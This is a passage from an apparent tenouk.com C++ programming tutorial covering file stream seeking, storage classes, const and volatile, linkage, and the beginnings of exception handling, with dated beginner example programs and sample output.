Value of type streamoff indicating the offset in the stream's buffer. It is relative to dir
off
parameter.
Seeking direction. An object of type seekdir that may take any of the following values:
dir ios_base::beg (seek from the beginning of the stream's buffer).
ios_base::cur (seek from the current position in the stream's buffer).

www.tenouk.com
ios_base::end (seek from the end of the stream's buffer).

Table 19.5: seekp() parameter.

- Try the following seekp() program example:

//using seekp()
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>

void main(void)
{
char filename[] = "C:\\testfileio4.txt";
ofstream outputfile;

//----creating, opening and writing data to file-----


outputfile.open(filename, ios::out);
//simple error handling for file creating/opening
//test if fail to open, do...
if(outputfile.fail())
{
cout<<"Creating and opening "<<filename<<" file for writing\n";
cout<<"----------------------------------------------------\n";
cout<<"The "<<filename<<" file could not be created/opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
//test if successful creating/opening the file, do...
else
{
cout<<"The "<<filename<<" file was created and opened successfully!\n";
cout<<"\nDo some file writing....\n\n";

int locate;

outputfile.write("Testing: Just simple example.", 29);


//tell the pointer position...
locate = outputfile.tellp();
//seek the pointer position with offset...
outputfile.seekp(locate-16);
outputfile.write(" rumble", 7);
//close the output file
outputfile.close();
//simple error handling for output files closing
//test if fail to close the file, do...
if(outputfile.fail())
{
cout<<"The "<<filename<<" file could not be closed!\n";
system("pause");
exit(1);
}
//if successful to close the file, do...
else
cout<<"\nThe "<<filename<<" file was closed successfully!\n";
system("pause");
}

- The content of the testfileio4.txt should be:

Testing: Just rumble example.

- We can use the ignore() to extracts characters from input stream and discards them. The prototype:

istream& ignore(streamsize n = 1, int delimter = EOF);

- Here, the extraction ends when n characters have been discarded or when delimter is found,
whichever comes first. In this last case delimter is also extracted. For example:

www.tenouk.com
//istream ignore()
#include <iostream>
#include <stdlib.h>

int main ()
{
char firstword, secondword;

cout<<"Enter your first and last names: ";

firstword = cin.get();
cin.ignore(30,' ');
secondword = cin.get();

cout<<"The initials letters are: "<<firstword<<secondword<<endl;


system("pause");

return 0;
}

Output:

- Example compiled using VC++/VC++ .Net.

//Reading from available file content


//then writing the content to another
//file. Firstly, create file for reading (can include path)
//let says "C:\sampleread.txt", at root on C drive.
//Type some text as shown…
//Then executes this program.

#include <iostream>
#include <fstream>
using namespace std;

//function definition, to open file for reading...


void openinfile(ifstream &infile)
{
char filename[100];
cout<<"Enter the file name: ";
//Enter the filename that you have created
//(can include path). From the comment above
//you have to enter "C:\sampleread.txt"
//without the double quotes.

cin>>filename;
infile.open(filename);
}

void main(void)
{
//declare the input file stream
ifstream inputfile;
//declare the output file stream
ofstream outputfile;

char chs;

//function call for opening file for reading...


openinfile(inputfile);
//create, if does not exist and open it for writing
outputfile.open("C:\\samplewrite.txt");

//test until the end of file


while (!inputfile.eof())
{
//read character until end of file
inputfile.get(chs);
if (!inputfile.eof())

www.tenouk.com
{
//output character by character (byte) on screen, standard output
cout<<chs;
//write to output file, samplewrite.txt
outputfile<<chs;
}
}
cout<<"\nReading and writing file is completed!"<<endl;
//close the input file stream
inputfile.close();
//close the output file stream
outputfile.close();
}

Output:

- Previous example compiled using g++.

//Simple processing data from external file.


//Read the data in sequential mode, do some
//calculation and display to the standard output.
//Create file testfileio.txt in the current
//working directory and type some int data in it...
#include <iostream>
#include <fstream>
using namespace std;

int main(void)
{
char filename[] = "testfileio.txt";
ifstream inputfile;

//-------opening input file for reading--------


inputfile.open(filename, ios::in);
//test if fail to open the file, do...
//error handling for file opening
if(inputfile.fail())
{
cout<<"Opening file "<<filename<<" for reading\n";
cout<<"------------------------------------------\n";
cout<<"The file could not be opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
exit(1); //just exit
//0-normal, non zero - some error
}
//if successful, do the following...
else
{
cout<<"The "<<filename<<" file was opened successfully!\n";

//declare some variables for simple calculation


float price, total = 0;
int count = 0;
cout<<"Reading data and do some calculation\n\n";
//read data from input stream...
inputfile>>price;

www.tenouk.com
//test, if end of file not found, do the following...
while(!inputfile.eof())
{
//total = total + price
total += price;
count++;
cout<<"Item price # "<<count<<" is "<<price<<endl;
//re read the next item price within the loop
inputfile>>price;
}
cout<<"The total price for "<<count<<" items is: "<<total<<endl;
cout<<"\n-------DONE-------\n"<<endl;
//close the input file
inputfile.close();

//test closing file, if fail to close the file, do


//simple error handling for file closing
if(inputfile.fail())
{
cout<<"The "<<filename<<" couldn't be closed!\n";
exit(1);
}

//if fail, do....


else
cout<<"The "<<filename<<" file closed successfully!\n";
return 0;
}
}

[bodo@bakawali ~]$ g++ fileio.cpp -o fileio


[bodo@bakawali ~]$ ./fileio

The testfileio.txt file was opened successfully!


Reading data and do some calculation

Item price # 1 is 1.22


Item price # 2 is 4.5
Item price # 3 is 12
Item price # 4 is 10.56
Item price # 5 is 23.11
Item price # 6 is 7.8
Item price # 7 is 54.2
Item price # 8 is 30
Item price # 9 is 9.5
Item price # 10 is 45.45
The total price for 10 items is: 198.34

-------DONE-------

The testfileio.txt couldn't be closed!

- From the output, the inputfile.fail() is true. Can you find the reason for me?

-----------------------------------------------o0o-----------------------------------------------------

Further reading and digging:

1. Check the best selling C/C++, Object Oriented and pattern analysis books at Amazon.com.

www.tenouk.com
MODULE 20
STORAGE CLASSES, const,
volatile, local and global

My Training Period: hours

Abilities

▪ Understand and use storage classes: auto, extern, static and register.
▪ Understand and use the const for variable and member function.
▪ Understand and use the volatile keyword.
▪ Understand the external and internal linkages terms.

20.1 Introduction

- Let figure out a typical C / C++ program that we have come across before, as shown below.
- This program is in one file. From this file we need other files such as headers and C / C++ resources
files (such as libraries, object files etc). During the compile and run time, these entire resources linked
together.
- There are also other resources needed dynamically during the program running such as input, dll files
and for GUI programming, a lot more resources needed.

#include <iostream.h>
//Here, iostream.h, we have class declaration
//and implementation parts. We may have member
//variables, member functions, array, pointers,
//struct, enum, typedef, normal variables etc.
#define ...
//other variables...

class MyClass
{};
//class variables...

union
{...};

struct struct1
{...};
//Another variable...

enum enum1 {...};


//Another variable...

inline int function1( )


{...}
//Another variables here...

void function1();
{...}
//Another variables here...

typedef R S;
//Another variables here...

//Other user defined data types...

int r, s, t;

main()
{
struct X;
enum Y;
typedef P Q;
union Z;
class_type object1, object2;
//class type variable or objects...
...

int x, y;
//other variables...
}

www.tenouk.com
- You can see that it is very complex construction when we think about the variables. Hence, when
declaring and defining the various variables with various data types in different locations, the storage
allocation, the lifetime, the visibility or accessibility and how the compiler treat the variables is
important to be concerned about.
- Keep in mind that, other than logical errors, most of the violations have been guarded by the compilers
through warning and error messages. What a fortunate programmers we are!

20.2 Storage Classes

- Storage class specifiers tell compiler the duration and visibility of the variables or objects declared, as
well as, where the variables or objects should be stored.
- In C++ program we have multiple files. In these files we may have normal variables, array, functions,
structures, unions, classes etc. So, variables and objects declared must have the visibility, the lifetime
and the storage, when values assigned.
- In C / C++ there are 4 different storage classes available: automatic, external, static and
register. It is similar in C, explained somewhere in tenouk.com :o).

Storage class Keyword


Automatic auto
External extern
Static static
Register register

Table 20.1: storage classes

- The general form for declaring a storage class is:

storage_class declarator;

- For example:

extern int value;


auto long p = 5;
auto int q;
static int x;

20.2.1 Automatic Variable - auto

- Local variables are variables declared within a function or blocks (after the opening brace, { of the
block). Local variables are automatic by default. This means that they come to existence when the
function in which it is declared is invoked and disappears when the function ends.
- Automatic variables are declared by using the keyword auto. But since the variables declared in
functions are automatic by default, this keyword may be dropped in the declaration as you found in
many source codes.
- The same variable names may be declared and used in different functions, but they are only known in
the functions in which they are declared. This means, there is no confusion even if the same variables
names are declared and used in different functions.
- Examples if we want explicitly declare the automatic type:

auto int x, y, z = 30;


auto char firstname;

- Same as:

int x, y, z = 30;
char firstname;

20.2.2 External Variable - extern

- External variables are variables that are recognized globally, rather than locally. In other words, once
declared, the variable can be used in any line of codes throughout the rest of the program.

www.tenouk.com
- A variable defined outside a function is external. An external variable can also be declared within the
function that uses it by using the keyword extern hence it can be accessed by other code in other
files.
- Program segment example:

int value1;
char name;
double value2;
//three externally defined variables

main()
{
extern int value1;
extern char name;
extern double value2;
//three externally defined variables
//can be accessed from outside of this main()
extern value3;
//can be accessed from outside of this main()
...
}

- Note that the group of extern declarations may be omitted entirely if the original definition occurs in
the same file and before the function that uses them.
- Therefore in the above example, the three extern declarations may be dropped. However, including
the extern keyword explicitly will allow the function to use external variable even if it is defined
later in a file or even in a different file provided both files will be compiled and linked together.

20.2.3 Static Variable - static

- In a single file program, static variables are defined within individual functions that they are local to the
function in which they are defined. Static variables are local variables that retain their values
throughout the lifetime of the program. In other words, their same (or the latest) values are still
available when the function is re-invoked later.
- Their values can be utilized within the function in the same manner as other variables, but they cannot
be accessed from outside of their defined function.
- The static has internal linkage (that is not visible from outside) except for the static members of a
class that have external linkage. The example using the static variable has been presented in Module
13 and some other part of the program examples in this Tutorial.
- Simple program example:

//demonstrate the static variable...


#include <iostream.h>
#include <stdlib.h>

int funcstatic(int)
{
//local variable should exist locally...
int sum = 0;
sum = sum + 10;
return sum;
}

int main()
{
int r = 5, s;

//test the function calls several times...


cout<<"Without static keyword\n";
cout<<"----------------------\n\n";
s = funcstatic(r);
cout<<"1st time function call, s = "<<s<<endl;
s = funcstatic(r);
cout<<"2nd time function call, s = "<<s<<endl;
s = funcstatic(r);
cout<<"3rd time function call, s = "<<s<<endl;
system("pause");
return 0;
}

www.tenouk.com
Output:

- Then change the following code in function funcstatic():

int sum = 0;

- To:

static int sum = 0;

- Recompile and rerun the program, the output should be as shown below. By using the static variable,
the previous value of the sum variable, by previous function call, is retained although it is just local
variable.

20.2.4 Register Variable - register

- The above three classes of variables are normally stored in computer memory. Register variables
however are stored in the processor registers, where they can be accessed and manipulated faster.
Register variables, like automatic variables, are local to the function in which they are declared.
- Defining certain variables to be register variables does not, however, guarantee that they will actually
be treated as register variables.
- Registers will be assigned to these variables by compiler so long as they are available. If a register
declaration cannot be fulfilled, the variables will be treated as automatic variables. So, it is not a
mandatory for the compiler to fulfill the register variables.
- Usually, only register variables are assigned the register storage class. If all things equal, a program
that makes use of register variables is likely to run faster than an identical program that uses just
automatic variables.

20.2.5 Global Variables

- Global variables are defined outside of all function bodies ({...}) and are available to all parts of the
program. The lifetime or availability of a global variable last until the program ends.
- As explained before, if extern keyword is used when declaring the global variable, the data is
available to this file by telling it the data is exist somewhere in another files.

20.2.6 Local Variables

- Local variables are local to a function, including the main() function. They are automatic variables,
exist when the scope is entered and disappear when the scope closes.
- Let try some experiment. First of all, let create a simple class. Create a header file named object.h,
save this file, do not run or compile this program.

www.tenouk.com
- In this program, we declare global external variable global1 as shown below:

extern int global1;

//Program object.h, the header file


//extern global variable
//external to object.cpp
extern int global1;

//---class declaration part---


class object
{
public:
int objectvar;

public:
object(void);
int set(int);
~object(void);
};
//this header file cannot be compiled or run

- Next create the implementation file object.cpp, compile but do not run this program. In this
program, we declare and define:

//extern...
int global1 = 30;
int global2 = 40;

//The class implementation file


//Program object.cpp
#include <iostream.h>
#include "object.h"

//extern...
int global1 = 30;
int global2 = 40;

//-----class implementation part-----


object::object(void)
{
objectvar = 0;
}

int object::set(int newvalue)


{
int local1 = 10;
//non extern with same variables name....
global1 = 60;
global2 = 70;

//Display the local variable locally...


cout<<"In object.cpp file, local function, local1 variable = "<<local1<<endl;
//Display the global variable locally...
cout<<"In object.cpp file, global1 variable = "<<global1<<endl;
cout<<"In object.cpp file, global2 variable = "<<global2<<endl;
return newvalue;
}

object::~object(void)
{
objectvar = 0;
}

- And in local function of the object.cpp:

int object::set(int newvalue)


{...}

- We declare and define:

int local1 = 10;


//non extern, with same variables name....
global1 = 60;
global2 = 70;

www.tenouk.com
- Finally create the main program, compile and run this program. In this program we declare and define:

object FirstObject;
//external to object.cpp
extern int global2;
//local to this main() function...
int local2 = 20;

//Program mainobject.cpp, here is the main program,


#include <iostream.h>
#include <stdlib.h>
#include "object.h"

main()
{
object FirstObject;
//external to object.cpp
extern int global2;
//local to this main() function...
int local2 = 20;

cout<<"In object.h, global1 is object.cpp external variable = "<<global1<<endl;


cout<<"In mainobject.cpp, global2 is object.cpp external variable
= "<<global2<<endl;
cout<<"In mainobject.cpp, object value = "<<FirstObject.set(50)<<"\n";
cout<<"In mainobject.cpp, local function, local2 variable = "<<local2<<endl;
system("pause");
}

Output:

- Keep in mind that there is another layer of restriction in the class declaration using the public,
protected and private, but for this example, all the restriction has been disabled by using the
public keyword to keep it simple.

20.3 Constant Values - const

- In the most basic form, the const keyword specifies that a variable’s value is constant and tells the
compiler to prevent the programmer from modifying it.
- Example of the pointer declaration using const is shown below:

//Pointer to constant int


int const *PtrVar;

//Pointer to constant int


int const (*PtrVar);

//Constant pointer to int


int *const PtrVar;

//Constant pointer to int


int (*const PtrVar);

- Program example:

//const variable
#include <iostream>
#include <stdlib.h>

www.tenouk.com
int main()
{

//p = 10 is a constant value, cannot be modified


//during the program execution...
const int p = 10;

cout<<"q = p + 20 = "<<(p + 20)<<" where, p = 10"<<endl;

//The following code should generate error, because


//we try to modify the constant value...
//uncomment, recompile notice the error...

//p = 15;
//--p;

system("pause");
}

Output:

- We can use the const keyword instead of the #define preprocessor directive to define constant
values.
- In C, constant values default to external linkage, so they can appear only in source files but in C++,
constant values default to internal linkage, which allows them to appear in header files.
- The const also can be used in pointer declaration. A pointer to a variable declared as const can be
assigned only to a pointer that is also declared as const.
- Another program segment example:

//const variable
#include <iostream>

const int ArrayOne = 64;


//The following code is legal in C++, but not in C
char StoreChar[ArrayOne];

int main()
{

}
//No output for this example

- Try another program example.

//a const pointer to a variable...


#include <iostream>
#include <stdlib.h>

int main()
{

//declare the pointers and let they point


//to something...
//non const pointer...
char *BuffOne = NULL, *BuffTwo = NULL;
//a constant pointer...
//assign the BuffOne pointer to PtrOne pointer
char *const PtrOne = BuffOne;

//Let it point to some data...


*PtrOne = 'z';
cout<<"The value pointed by constant pointer is "<<*PtrOne<<endl;

//The following code will generate error, because we try to


//assign non const pointer to const pointer...
//PtrOne = BuffTwo;

www.tenouk.com
system("pause");
return 0;
}

Output:

- Uncomment the //PtrOne = BuffTwo code and recompile the program, something like the
following error should be generated.

Error: project.cpp(17, 10):Cannot modify a const object

//a pointer to a const variable...


#include <iostream>
#include <stdlib.h>

int main()
{

const char *BuffOne = "Testing";

cout<<"The data pointed by BuffTwo is "<<BuffOne<<endl;

//The const pointer BuffOne assigned to the


//const pointer ThePtr is OK...
const char *ThePtr = BuffOne;
cout<<"The data pointed by ThePtr is "<<ThePtr<<endl;

//The following code will generate an error


//cannot modify the const....
//*ThePtr = 'z';

system("pause");
return 0;
}

Output:

- Uncomment the code //*ThePtr = 'z'; and recompile the program, the same error as in the
previous example should be expected.
- The const declaration also normally used in the definition of a function’s arguments, to indicate it
would not change them as shown below making the code clearer and to avoid error.

int strlen(const char []);

20.3.1 Constant Member Function

- When declaring a member function with the const keyword, this specifies that it is a read only
function that does not modify the object (notice the differences between variable versus object) for
which it is called.
- A constant member function cannot modify any data members or call any member functions that are
not constant.
- Implicitly, the const has set the ‘can’t modify’ *this pointer. This can be changed by using the
mutable (preferred) or const_cast operator.
- Pointer to constant data can be used as function parameters to prevent the function from modifying a
parameter passed through a pointer.

www.tenouk.com
- Place the const keyword after the closing parenthesis of the argument list.
- const keyword is required in both the declaration and the definition.
- Program example:

//constant member function


#include <iostream>
#include <stdlib.h>

//--------Class declaration part------------

class Date
{
int month;

public:
//we would test the month only...
Date (int mnt, int dy, int yr);
//A write function, so can't be const
void SetMonth(int mnt);
//A read only function declaration
int GetMonth() const;
};

//--------Class implementation part---------

Date::Date(int,int,int)
{
}
void Date::SetMonth(int mnt)
{
//Modify the non const member variable data
month = mnt;
}

//A read only function implementation


int Date::GetMonth() const
{
//Does not modify anything
return month;
}

//-------main program------------
void main()
{
Date TheDate(7,4,2004);
//non const member function, OK
TheDate.SetMonth(11);

cout<<"Month of the sample date is "<<TheDate.GetMonth()<<endl;

//another dummy const object...


const Date BirthDate(7,4,1971);
//Then try to modify the const object, NOT OK
//BirthDate.SetMonth(5);

//const member function sending message...


BirthDate.GetMonth();
//So, the following shouldn’t have the output data...
cout<<"Another silly call, the month is "<<BirthDate.GetMonth()<<endl;

system("pause");
}

Output:

- Uncomment the //BirthDate.SetMonth(5);, then rerun the program, an error something like the
following statement should be expected.

www.tenouk.com
Non-const function Date::SetMonth(int) called for const object

- The const-ness of the function can be disabled by using the mutable keyword. The program
example will be presented in another Module.

20.4 volatile

- It is a type qualifier used to declare an object or variable value that can be modified by other than the
statement in the source codes itself, such as interrupt service routine and memory-mapped I/O port or
concurrent thread execution.
- Keep in mind that although we have to concern about these volatile variable or object, most of the
compilers nowadays have their own implementation how to handle this situation mainly for Win32
applications.
- For example if you want to create multithreaded program, there are C++ compiler or project settings
for multithreaded program. You have to check your compiler documentation.
- When declaring an object to be volatile, we tell the compiler not to make any assumptions concerning
the value of the object while evaluating expressions in which it occurs because the value could change
at any moment.
- When a name is declared as volatile, the compiler reloads the value from memory each time it is
accessed by the program. Volatile codes will not be optimized by compiler to make sure that the value
read at any moment is accurate.
- Without optimization, for example permitting the redundant reads, the volatile may have no effect.
- The keyword volatile is used before or after the data type declaration. They cannot appear after
the first comma in a multiple variable declaration. For example:

▪ Declaring volatile variable. For example, volatile integer.

volatile int Vint;


int volatile Vint;

▪ Declaring pointers to volatile variables. For example, pointer to volatile integer.

volatile int * Vintptr;


int volatile * Vintptr;

▪ Declaring volatile pointer to non volatile variables. For example, volatile pointer to integer.

int * volatile Vptr;

▪ Declaring volatile pointer to a volatile variable. For example volatile pointer to volatile
integer.

int volatile * volatile Vptr;

▪ Using typedef example.

typedef volatile int Vint

▪ Illegal declaring after the first comma in multiple variable declaration example.

int p, volatile Vint;

- When volatile is applied to the struct or union, the entire contents of the struct or union
become volatile however we can also apply the volatile to the members of struct or union
individually.
- volatile also applied to classes and their member functions.

20.5 Linkage

- Linkage is the process that allows each identifier to be associated correctly with one particular object or
function for the sake of the linker during the linking process. Each identifier is allocated a memory
storage that holds the variables or objects.
- This process must be obeyed to avoid the problem arises when the same identifier is declared in
different scopes such as, in different files, or declared more than once in the same scope.

www.tenouk.com
- All identifiers have one of three linkage attributes, closely related to their scope:

▪ External linkage,
▪ Internal linkage, or
▪ No linkage.

- These attributes are determined by the location and format of the declarations, together with the
explicit (or implicit by default) use of the storage class specifier static or extern.
- Each instance of a particular identifier with external linkage represents the same object or function
throughout the entire set of files and libraries making up the program.

▪ If the declaration of an object or function identifier contains the storage class specifier
extern, the identifier has the same linkage as any visible declaration of the identifier with
file scope. If there is no such visible declaration, the identifier has external linkage.
▪ If an object identifier with file scope is declared without a storage class specifier, the
identifier has external linkage.

- Each instance of a particular identifier with internal linkage represents the same object or function
within one file only.

▪ Any object or file identifier having file scope will have internal linkage if its declaration
contains the storage class specifier static.
▪ For C++, if the same identifier appears with both internal and external linkage within the
same file, the identifier will have external linkage. In C, it will have internal linkage.
▪ If a function is declared without a storage class specifier, its linkage is determined as if the
storage class specifier extern had been used.

- Identifiers with no linkage represent unique entities.

▪ Any identifier declared to be other than an object or a function (for example, a typedef
identifier).
▪ Function parameters.
▪ Block scope identifiers for objects declared without the storage class specifier extern.

- Program example compiled using VC++ / VC++ .Net.

//demonstrate the static variable...


#include <iostream>
using namespace std;

int funcstatic(int)
{
//local variable should exist locally...
static int sum = 0;
sum = sum + 10;
return sum;
}

int main()
{
int r = 5, s;

//test the function calls several times...


cout<<"Without static keyword\n";
cout<<"----------------------\n\n";
s = funcstatic(r);
cout<<"1st time function call, s = "<<s<<endl;
s = funcstatic(r);
cout<<"2nd time function call, s = "<<s<<endl;
s = funcstatic(r);
cout<<"3rd time function call, s = "<<s<<endl;
return 0;
}

Output:

www.tenouk.com
--------------------------------------------------o0o------------------------------------------------------

Further reading and digging:

1. Check the best selling C / C++, Object Oriented and pattern analysis books at Amazon.com.

www.tenouk.com
MODULE 21
EXCEPTION HANDLING
In the worst case, there must be an emergency exit!

My Training Period: hours

Note:
The compiler used to compile the program examples in this Module is Visual Studio 6.0®, Win32 Empty Console
Mode application.
There is no C++ standard <exception> class found in my Borland® C++ 5.02 compiler. Check your compiler
documentation :o) and don’t forget to install any patches and Service Packs if any. For Borland you may try
Borland C++ Builder 5.5, 6.0 or multiplatform C++ BuilderX. Examples also tested using VC++ .Net

Abilities

▪ Able to understand and use C++ exception handlings.

21.1 Introduction

- When we develop a program, we expect the program does what it is supposed to do without any error.
Many operations, including object instantiation and file processing, are subject to failures that may go
beyond errors. Out-of-memory conditions, for instance, can occur even when your program is running
correctly.
- As an example, for typical application program the highest layer may consist of graphic user interface
(GUI) part that provide interface for users. These high-level components interact with objects, which in
turn encapsulate the application programming interface (API) routines.
- At a lower level, the API routines may interact with the operating system. The operating system itself
invokes system services that deal with low-level hardware resources such as physical memory, file
systems, and security modules. In general, runtime errors are detected in these lower code layers should
not be handled by themselves.
- To handle an error appropriately, higher-level components have to be informed that an error has
occurred. Generally, error handling consists of detecting an error and notifying the components that are
in charge. These components in turn attempt to recover from the error or terminate the program
properly.
- From the simplest one, we may use a proper prompting, for example:

Enter two integer separated by space:

- But what about if the user enter other than integer and not separate it by space? At least there must be a
prompt message or an alert dialog box, if the invalid data entered such as classic messages Abort,
Retry, Ignore where:

Message Description
Retry Debug the assertion or get help on asserts.
Ignore Ignore the assertion and continue running the program.
Abort Halt execution of the program and end the debugging session.

Table 21.1: Abort, Retry and Ignore

- Throughout this tutorial also, you should have encountered several mechanism used, such as
conditional statements using the if statements combined with exit(), abort() and
terminate() functions, when there are errors, the program just terminate with some error message,
passing the control back to operating system. Some of the messages may be very useful for our
debugging process.
- We also have had used the assert() function to test the validity of the program expressions as
discussed in Module 10.
- But program logic can’t be proved correct under all situation, we must ready for this situation by
providing the emergency exit for them.
- C++ provides two methods to handle this anomalous situation called exceptions, that are using
assertions and exceptions.

21.2 Assertions

www.tenouk.com
- Assertion has been discussed in Module 10 and it should be a revision here.
- Same as C, C++ also supports assertion programming. Programmer specifies checks for correct
conditions to continue program execution. We use assert.h library for standard C and <cassert>
for C++, something like this:

//C++ and standard C


#include <assert.h>
//#include <cassert>

- Preprocessor macro assert() used to provide assertion processing. Macro expects an expression
with an integral value, for example:

//assertion macro
assert(expression);

- Program segment example:

cout<<"Enter an integer: "<<endl;


cin>>p;
if(p!=0)
cout<<"p x p x p = "<<p*p*p<<endl;
else
//0 - normal exit, non-zero-some error
exit(1);

If (p!=0) The program will continue normally.


The assertion fails, error message displayed in the following form and
If (p==0) program terminates.
Assertion failed: expression, file filename, line number

- Assertion processing can be disabled by enabling the NDEBUG (no debug):

//turn assertion checking off


#define NDEBUG

//undefined the NDEBUG, turn on the assertion if


//#defined DEBUG has been defined...
#undef NDEBUG

- Assertion processing typically used only during program development and debugging. The assert
expression is not evaluated in the Release Version of your program. Typically, assertions can be used
for:

▪ Catching the program logic errors. Use assertion statements to catch logic errors. You can set
an assertion on a condition that must be true according to your program logic. The assertion
only has an effect if a logic error occurs.

▪ Checking the results of an operation. Use assertion statements to check the result of an
operation. Assertions are most valuable for testing operations which results are not so obvious
from a quick visual inspection.

▪ Testing the error conditions that supposed to be handled. Use assertions to test for error
conditions at a point in your code where errors supposed to be handled.

21.3 C Exception - structured exception handling (Microsoft® implementation)

- This part presented here just as a comparison and discussion to the standard C++.
- A structured exception handler has no concept of objects or typed exceptions, it cannot handle
exceptions thrown by C++ code; but, C++ catch handlers can handle C exceptions.
- So, the C++ exception handling syntax using try, throw…catch is not accepted by the C compiler, but
structured exception handling syntax (Microsoft® implementation) using __try, __except, __finally is
supported by the C++ compiler.
- The major difference between structured exception handling and C++ exception handling is that the
C++ exception handling deals with types, while the C structured exception handling deals with
exceptions of one type specifically, unsigned int.

www.tenouk.com
- C exceptions are identified by an unsigned integer value, whereas C++ exceptions are identified by data
type.
- When an exception is raised in C, each possible handler executes a filter that examines the C exception
context and determines whether to accept the exception, pass it to some other handler, or ignore it
whereas when an exception is thrown in C++, it may be of any type.
- C structured exception handling model is referred to as what is called asynchronous, which the
exceptions occur secondary to the normal flow of control whereas the C++ exception handling
mechanism is fully synchronous, which means that exceptions occur only when they are invoked or
thrown.
- If a C exception is raised in a C++ program, it can be handled by a structured exception handler with its
associated filter or by a C++ catch handler, whichever is dynamically closer to the exception context.
- The following is a program example of the C++ program raises a C exception inside a C++ try block:

//C structured exception handling


//and C++ exception handling
#include <iostream.h>

//function prototype...
void TestCFunct(void);

int main()
{
//C++ try block...
try
{
//function calls...
TestCFunct();
}

//catch block...
catch(...)
{
cout<<"Caught the exception, C style..."<< endl;
}
return 0;
}

//function definition...
void TestCFunct()
{
//structured handling exception...
__try
{
int p, r = 2, q = 0;
//exception should be raised here
//divide by 0...
p = r*(10/q);
}
__finally
{
cout<<"In __finally" << endl;
//finding the appropriate catch...
}
}

Output:

- Besides that, C’s exception that uses the setjmp() and longjmp() functions, do not support C++
object semantics.
- Using these functions in C++ programs may lesser the performance by preventing optimization on local
variables.
- It is better to use the C++ exception handling try, throw...catch constructs instead.

21.4 C++ Exception

www.tenouk.com
- An exception occurs when an unexpected error or unpredictable behaviors happened on your program
not caused by the operating system itself. These exceptions are handled by code which is outside the
normal flow of control and it needs an emergency exit.
- Compared to the structured exception handling, returning an integer as an error flag is problematic
when dealing with objects. The C++ exception-handling can be a full-fledged object, with data
members and member functions.
- Such an object can provide the exception handler with more options for recovery. A clever exception
object, for example, can have a member function that returns a detailed verbal description of the error,
instead of letting the handler look it up in a table or a file.
- C++ has incorporated three operators to help us handle these situations: try, throw and catch.
- The following is the try, throw…catch program segment example:

try
{
buff = new char[1024];
if(buff == 0)
throw "Memory allocation failure!";

//catch what is thrown...


catch(char* strg)
{
cout<<"Exception raised: "<<strg<<endl;
}

- In grammar form:

The try-block:
try
{compound-statement handler-list
handler-list here

The throw-expression:
throw expression
}
{
The handler:
catch (exception-declaration) compound-statement
exception-declaration:
type-specifier-list here
}

- Let discuss in detail one by one.

21.4.1 try

- A try block is a group of C++ statements, enclosed in curly braces { }, that might cause an exception.
This grouping restricts the exception handlers to the exceptions generated within the try block. Each
try block may have one or more associated catch blocks.
- If no exception is thrown during execution of the guarded section, the catch clauses that follow the
try block are not executed or bypassed. Execution continues at the statement after the last catch
clause following the try block in which the exception was thrown.
- If an exception is thrown during execution of the guarded section or in any routine the guarded section
calls either directly or indirectly such as functions, an exception object will be created from the object
created by the throw operand.
- At this point, the compiler looks for a catch clause in a higher execution context that can handle an
exception of the type thrown or a catch handler that can handle any type of exception. The
compound-statement after the try keyword is the guarded section of code.

21.4.2 throw

www.tenouk.com
- The throw statement is used to throw an exception and its value to a matching catch exception
handler. A regular throw consists of the keyword throw and an expression. The result type of the
expression determines which catch block receives control.
- Within a catch block, the current exception and value may be re-thrown simply by specifying the
throw keyword alone that is without the expression.
- The throw is syntactically similar to the operand of a return statement but here, it returns to the
catch handler.

21.4.3 catch

- A catch block is a group of C++ statements that are used to handle a specific thrown exception. One
or more catch blocks, or handlers, should be placed after each try block. A catch block is
specified by:

1. The keyword catch


2. A catch parameter, enclosed in parentheses (), which corresponds to a specific type of
exception that may be thrown by the try block
3. A group of statements, enclosed in curly braces { }, whose purpose is to handle the exception

- The compound-statement after the catch keyword is the exception handler, and catches or handles
the exception thrown by the throw-expression.
- The exception-declaration statement part indicates the type of exception the clause handles. The type
can be any valid data type, including a C++ class.
- If the exception-declaration statement part is just an ellipsis (...) such as,

catch(...)

- Then, the catch clause will handle any type of exception, including C exceptions and system or
application generated exceptions such as divide by zero, memory protection and floating-point
violations. Such a handler must be the last handler for its try block acting as default catch.
- The catch handlers are examined in order of their appearance following the try block. If no
appropriate handler is found, the next dynamically enclosing try block is examined. This process
continues until the outermost enclosing try block is examined if there are more than one try block.
- If a matching handler is still not found, or if an exception occurs while unwinding, but before the
handler gets control, the predefined run-time function terminate() is called. If an exception occurs
after throwing the exception, but before the unwinding begins, terminate() is also called.
- The catch block must go right after the try block without any line of codes between them.
- The order in which catch handlers appear is important, because handlers for a given try block are
examined in order of their appearance. For example, it is an error to place the handler for a base class
before the handler for a derived class.
- After a matching catch handler is found, subsequent handlers are not examined. That is why an
ellipsis catch, catch(...) handler must be the last handler for its try block.
- Besides that, catch may be overloaded so that it can accept different types as parameters. In that case
the catch block executed is the one that matches the type of the exception sent through the parameter
of throw
- Program example:

//simple try, throw...catch


#include <iostream.h>

int main()
{
//declare char pointer
char* buff;

//try block...
try
{
//allocate storage for char object...
buff = new char[1024];

//do a test, if allocation fails...


if(buff == 0)
throw "Memory allocation failure!";

www.tenouk.com
//if allocation successful, display
//the following message, bypass
//the catch block...
else
cout<<sizeof(buff)<<" Byte successfully allocated!"<<endl;
}

//if allocation fails, catch the type...


//display message...
catch(char* strg)
{
cout<<"Exception raised: "<<strg<<endl;
}
return 0;
}

Output:

- Program example for multiple catch:

//exception: multiple catch blocks


#include <iostream.h>
#include <stdlib.h>

int main ()
{
try
{
char * teststr;
teststr = new char [10];

//test, if memory allocation fails then,


//throws this error to the matching catch...
if (teststr == NULL) throw "Allocation failure";

for (int i=0; i<=15; i++)


{
//another test, if n>9, throw this error
//to the respective catch..
if (i>9) throw i;
teststr[i]='z';
cout<<"teststr["<<i<<"] = "<<teststr[i]<<endl;
}
}

//catch the error if, i > 9, by displaying some


//error message...
catch (int j)
{
cout<<"The exception: ";
cout<<"index "<<j<<" is out of range"<<endl;
}
//catch the error if, allocation fail for *teststr
//by displaying some error...
catch (char * strg)
{
cout<<"The exception: "<<strg<<endl;
}
system("pause");
return 0;
}

Output:

www.tenouk.com
21.5 Catching Exceptions

- Since exceptions are a run-time and not a compile-time feature, standard C++ specifies the rules for
